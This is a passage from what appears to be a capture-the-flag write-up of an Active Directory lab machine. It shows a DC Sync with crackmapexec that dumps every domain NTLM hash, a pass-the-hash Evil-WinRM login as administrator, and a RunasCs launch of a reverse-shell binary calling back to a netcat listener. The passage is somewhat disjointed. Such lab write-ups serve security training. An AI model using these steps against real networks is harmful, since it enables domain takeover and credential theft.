bind: 0 [*] ldap_get_option: LDAP_SASL_BIND_IN_PROGRESS [*] apRep1: 6f8188308185a003020105a10302010fa2793077a003020112a270046e4dc329cd8a5ce605e23b69d9dfed16919f9a44b62acdc666cbb91b5f5e396c65118dd2b97175ece8b3f1f676a9c40a6f1096bd49a245aa79dbeaa4d051f0511ecc94547090e9fe698b571611e616fb14259feeaecb6b1b193d6f9a5c3f483da9748986beed277a116ce28d7d4498 [*] AcceptSecurityContext: SEC_I_CONTINUE_NEEDED [*] fContextReq: Delegate, MutualAuth, UseDceStyle, Connection [*] apRep2: 6f5b3059a003020105a10302010fa24d304ba003020112a244044289b6a58c44aabe7ca942edc1983489a04ef754f349082edabcc295766fa7a8ecb4a2a63fc4485feadf530bef37a6d27884fd84bc3d3786a3bcf3effab025ce0c98bb [*] bind: 0 [*] ldap_get_option: LDAP_SUCCESS [+] LDAP session established [*] ldap_modify: LDAP_SUCCESS PS C:\programdata>
.
DC Sync
All the accounts I’ve interacted with so far have been in the Protected Users group, which is what has prevented NTLM authentication.
The machine account is not in that group, and thus I can use this recovered NTLM hash to authenticate.
I’ve shown using an admin hash with secretsdump.py many times before. The DC machine account is also authorized to do this, and it can also be done with crackmapexec:
puck@kali$ crackmapexec smb -dc-ip dc.absolute.htb -u 'DC$' -H A7864AB463177ACB9AEC553F18F42577 --ntds
SMB dc.absolute.htb 445 DC Windows 10.0 Build 17763 x64 (name:DC) (domain:c-ip) (signing:True) (SMBv1:False)
SMB dc.absolute.htb 445 DC [+] c-ip\DC$:A7864AB463177ACB9AEC553F18F42577
SMB dc.absolute.htb 445 DC [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
SMB dc.absolute.htb 445 DC [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB dc.absolute.htb 445 DC Administrator\Administrator:500:aad3b435b51404eeaad3b435b51404ee:1f4a6093623653f6488d5aa24c75f2ea:::
SMB dc.absolute.htb 445 DC Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB dc.absolute.htb 445 DC krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3ca378b063b18294fa5122c66c2280d4:::
SMB dc.absolute.htb 445 DC J.Roberts:1103:aad3b435b51404eeaad3b435b51404ee:7d6b7511772593b6d0a3d2de4630025a:::
SMB dc.absolute.htb 445 DC M.Chaffrey:1104:aad3b435b51404eeaad3b435b51404ee:13a699bfad06afb35fa0856f69632184:::
SMB dc.absolute.htb 445 DC D.Klay:1105:aad3b435b51404eeaad3b435b51404ee:21c95f594a80bf53afc78114f98fd3ab:::
SMB dc.absolute.htb 445 DC s.osvald:1106:aad3b435b51404eeaad3b435b51404ee:ab14438de333bf5a5283004f660879ee:::
SMB dc.absolute.htb 445 DC j.robinson:1107:aad3b435b51404eeaad3b435b51404ee:0c8cb4f338183e9e67bbc98231a8e59f:::
SMB dc.absolute.htb 445 DC n.smith:1108:aad3b435b51404eeaad3b435b51404ee:ef424db18e1ae6ba889fb12e8277797d:::
SMB dc.absolute.htb 445 DC m.lovegod:1109:aad3b435b51404eeaad3b435b51404ee:a22f2835442b3c4cbf5f24855d5e5c3d:::
SMB dc.absolute.htb 445 DC l.moore:1110:aad3b435b51404eeaad3b435b51404ee:0d4c6dccbfacbff5f8b4b31f57c528ba:::
SMB dc.absolute.htb 445 DC c.colt:1111:aad3b435b51404eeaad3b435b51404ee:fcad808a20e73e68ea6f55b268b48fe4:::
SMB dc.absolute.htb 445 DC s.johnson:1112:aad3b435b51404eeaad3b435b51404ee:b922d77d7412d1d616db10b5017f395c:::
SMB dc.absolute.htb 445 DC d.lemm:1113:aad3b435b51404eeaad3b435b51404ee:e16f7ab64d81a4f6fe47ca7c21d1ea40:::
SMB dc.absolute.htb 445 DC svc_smb:1114:aad3b435b51404eeaad3b435b51404ee:c31e33babe4acee96481ff56c2449167:::
SMB dc.absolute.htb 445 DC svc_audit:1115:aad3b435b51404eeaad3b435b51404ee:846196aab3f1323cbcc1d8c57f79a103:::
SMB dc.absolute.htb 445 DC winrm_user:1116:aad3b435b51404eeaad3b435b51404ee:8738c7413a5da3bc1d083efc0ab06cb2:::
SMB dc.absolute.htb 445 DC DC$:1000:aad3b435b51404eeaad3b435b51404ee:a7864ab463177acb9aec553f18f42577:::
SMB dc.absolute.htb 445 DC [+] Dumped 18 NTDS hashes to /home/oxdf/.cme/logs/DC_dc.absolute.htb_2023-05-24_002225.ntds of which 17 were added to the database
SMB dc.absolute.htb 445 DC To extract only enabled accounts from the output file, run the following command:
SMB dc.absolute.htb 445 DC cat /home/oxdf/.cme/logs/DC_dc.absolute.htb_2023-05-24_002225.ntds | grep -iv disabled | cut -d ':' -f1
Evil-WinRM
From my shell as winrm_user, it’s clear that administrator is also not in the Protected Users group:
The NTLM hash for administrator can be used to get a shell as administrator:
oxdf@hacky$ evil-winrm -i 10.10.11.181 -u administrator -H 1f4a6093623653f6488d5aa24c75f2ea
Evil-WinRM shell v3.4
*Evil-WinRM* PS C:\Users\Administrator\Documents>
That was Fun!
PS C:\programdata> .\RunasCs.exe puck 'Start123!' -l 8 "rcat_10.10.14.3_443.exe"
.\RunasCs.exe puck 'Start123!' -l 8 "rcat_10.10.14.3_443.exe"
[*] Warning: User profile directory for user puck does not exists. Use --force-profile if you want to force the creation.
[*] Warning: The function CreateProcessWithLogonW is not compatible with the requested logon type '8'. Reverting to the Interactive logon type '2'. To force a specific logon type, use the flag combination --remote-impersonation and --logon-type.
[*] Warning: The logon for user 'puck' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.
┌──(puck㉿kali)-[~/htb/absolute]
└─$ rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.11.181] 64601
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> whoami
whoami
absolute\puck
.